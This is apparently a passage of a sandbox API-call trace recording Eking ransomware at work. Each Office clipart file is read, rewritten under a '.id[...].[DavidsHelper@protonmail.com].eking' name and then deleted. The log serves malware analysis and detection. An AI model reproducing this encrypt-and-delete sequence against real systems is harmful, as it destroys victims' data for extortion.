(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0187.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0187.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0187.132] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f4 [0187.133] ReadFile (in: hFile=0x1f8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1a1c, lpOverlapped=0x0) returned 1 [0187.135] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1a20, lpOverlapped=0x0) returned 1 [0187.137] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0187.137] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0187.138] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0187.138] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1a1c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1a1c, lpOverlapped=0x0) returned 1 [0187.139] FlushFileBuffers (hFile=0x1f8) returned 1 [0187.152] FlushFileBuffers (hFile=0x1f4) returned 1 [0187.154] CloseHandle (hObject=0x1f8) returned 1 [0187.156] CloseHandle (hObject=0x1f4) returned 1 [0187.157] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0187.161] SetEvent (hEvent=0x174) returned 1 [0187.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.505] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3251) returned 1 [0187.505] CloseHandle (hObject=0x1f4) returned 1 [0187.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0187.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0187.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0187.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0187.748] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.748] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0187.750] ReadFile (in: hFile=0x1f8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xcb3, lpOverlapped=0x0) returned 1 [0187.757] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xcc0, lpOverlapped=0x0) returned 1 [0187.758] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0187.759] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0187.759] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0187.759] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xcb3, lpOverlapped=0x0) returned 1 [0187.761] FlushFileBuffers (hFile=0x1f8) returned 1 [0187.777] FlushFileBuffers (hFile=0x1e8) returned 1 [0187.779] CloseHandle (hObject=0x1f8) returned 1 [0187.779] CloseHandle (hObject=0x1e8) returned 1 [0187.780] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0187.781] SetEvent (hEvent=0x174) returned 1 [0187.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0187.969] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8097) returned 1 [0187.969] CloseHandle (hObject=0x1e8) returned 1 [0187.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0187.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0187.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0187.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0187.970] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.970] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0187.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0187.971] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1fa1, lpOverlapped=0x0) returned 1 [0188.023] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1fb0, lpOverlapped=0x0) returned 1 [0188.024] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.025] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.025] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.025] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1fa1, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1fa1, lpOverlapped=0x0) returned 1 [0188.030] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.049] FlushFileBuffers (hFile=0x1f8) returned 1 [0188.052] CloseHandle (hObject=0x1e8) returned 1 [0188.052] CloseHandle (hObject=0x1f8) returned 1 [0188.054] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0188.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.540] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11891) returned 1 [0188.540] CloseHandle (hObject=0x1f8) returned 1 [0188.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0188.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0188.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.631] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.631] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0188.631] ReadFile (in: hFile=0x1d0, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2e73, lpOverlapped=0x0) returned 1 [0188.636] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2e80, lpOverlapped=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.637] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.637] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x1d0, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2e73, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2e73, lpOverlapped=0x0) returned 1 [0188.639] FlushFileBuffers (hFile=0x1d0) returned 1 [0188.648] FlushFileBuffers (hFile=0x1f8) returned 1 [0188.651] CloseHandle (hObject=0x1d0) returned 1 [0188.652] CloseHandle (hObject=0x1f8) returned 1 [0188.653] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0188.655] SetEvent (hEvent=0x174) returned 1 [0188.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.656] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=517) returned 1 [0188.656] CloseHandle (hObject=0x1f8) returned 1 [0188.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0188.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0188.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1d0 [0188.658] ReadFile (in: hFile=0x1f8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x205, lpOverlapped=0x0) returned 1 [0188.659] WriteFile (in: hFile=0x1d0, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x210, lpOverlapped=0x0) returned 1 [0188.661] WriteFile (in: hFile=0x1d0, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.661] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.661] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.661] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x205, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x205, lpOverlapped=0x0) returned 1 [0188.667] FlushFileBuffers (hFile=0x1f8) returned 1 [0188.675] FlushFileBuffers (hFile=0x1d0) returned 1 [0188.685] CloseHandle (hObject=0x1f8) returned 1 [0188.686] CloseHandle (hObject=0x1d0) returned 1 [0188.687] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0188.690] SetEvent (hEvent=0x174) returned 1 [0188.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.691] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=502) returned 1 [0188.691] CloseHandle (hObject=0x1d0) returned 1 [0188.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0188.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0188.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.692] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.692] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0188.692] ReadFile (in: hFile=0x1d0, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1f6, lpOverlapped=0x0) returned 1 [0188.694] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x200, lpOverlapped=0x0) returned 1 [0188.695] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.695] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.695] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.695] WriteFile (in: hFile=0x1d0, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1f6, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1f6, lpOverlapped=0x0) returned 1 [0188.700] FlushFileBuffers (hFile=0x1d0) returned 1 [0188.707] FlushFileBuffers (hFile=0x1f8) returned 1 [0188.713] CloseHandle (hObject=0x1d0) returned 1 [0188.713] CloseHandle (hObject=0x1f8) returned 1 [0188.717] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0188.719] SetEvent (hEvent=0x174) returned 1 [0188.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.723] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12702) returned 1 [0188.723] CloseHandle (hObject=0x1b8) returned 1 [0188.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0188.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0188.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 